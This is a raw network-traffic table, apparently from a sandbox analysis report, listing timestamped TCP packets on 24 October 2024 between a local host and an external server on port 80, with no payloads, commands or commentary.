Oct 24, 2024 13:27:02.322401047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322417974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322428942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322455883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322463989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322475910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322498083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322515011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322526932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322551966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322560072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322573900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322593927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322612047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322628975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322644949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322665930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322685003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322705030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.322719097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.322757006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323004961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323041916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323059082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323075056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323095083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323111057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323117971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323144913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323162079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323179960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323195934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323214054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323232889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323247910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323271990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323281050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323297977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323309898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:02.323331118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:02.323353052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:03.023051023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:03.023051023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:03.029232025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:03.029274940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:03.029304028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:03.029330969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:03.029360056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:03.528985023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:03.529232979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:03.615027905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:03.615027905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:03.621059895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:03.621103048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:03.621140003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:04.090919018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:04.091015100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:04.114969969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:04.121541023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:04.610517979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:04.610850096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:05.322534084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:05.329219103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:05.793135881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:05.793392897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.066067934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.284584045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.284868002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.285772085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520234108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520291090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520329952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520365953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520400047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520437002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520471096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520522118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520519972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520520926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520520926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520520926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520560026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520595074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520607948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520608902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520628929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520638943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520663023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520679951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520700932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520730972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520737886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.520752907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.520797014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637414932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637460947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637521982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637558937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637593031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637630939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637661934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637676001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637676954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637676954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637676954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637676954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637697935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637757063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637759924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637759924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637792110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637825012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637828112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637862921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637870073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637892008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637898922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637928963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637960911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.637993097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.637995005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638025045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638029099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638046980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638065100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638092041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638099909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638115883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638134956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638159990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638168097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638189077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638199091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638231039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638232946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638253927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638273954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638293028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638329029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638334036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638362885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638386011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638397932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638413906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638432980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638454914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638473988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638530970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638586998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638618946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638647079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638653994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.638665915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.638710976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754512072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754558086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754620075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754657984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754694939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754708052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754709005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754709005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754709005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754750967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754781961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754786015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754806995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754817963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754841089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754877090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754878044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754908085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754940987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.754954100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754954100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754987001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.754997015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755031109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755065918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755095005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755130053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755162954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755196095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755253077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755270004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755270004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755270958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755270958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755270958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755270958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755270958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755285978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755357981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755384922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755386114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755390882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755413055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755425930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755455971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755458117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755475998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755494118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755512953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755523920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755551100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755563021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755575895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755623102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755677938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755712986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755749941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755774975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755798101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755844116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755877972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755897045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755911112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755937099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755948067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.755968094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.755984068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756005049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756017923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756033897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756052971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756071091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756086111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756125927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756130934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756130934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756181955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756347895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756382942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756407976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756417990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756437063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756455898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756469965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756491899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756514072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756540060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756824970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756854057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756886959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756901979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756902933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756922007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756934881 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756958008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.756977081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.756993055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.757014990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.757026911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.757050037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.757062912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.757078886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.757097960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.757116079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.757133007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.757153988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.757167101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.757189989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.757203102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.757227898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.757237911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.757251024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.757275105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.757297039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.757329941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.871814966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.871866941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.871927023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.871962070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.871999979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872034073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872070074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872103930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872100115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872139931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872169971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872174978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872194052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872226954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872282028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872315884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872349977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872384071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872417927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872453928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872462988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872462988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872462988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872463942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872463942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872488976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872528076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872545004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872545004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872584105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872740984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872775078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872807980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872809887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872828960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872844934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872869968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872880936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872912884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872915030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872936010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872950077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.872981071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.872986078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873007059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873060942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873121977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873138905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873172998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873193979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873553038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873577118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873595953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873611927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873614073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873631954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873634100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873650074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873651028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873668909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.873670101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873677969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873696089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.873697042 CEST	49730	80	192.168.2.4	109.107.157.208
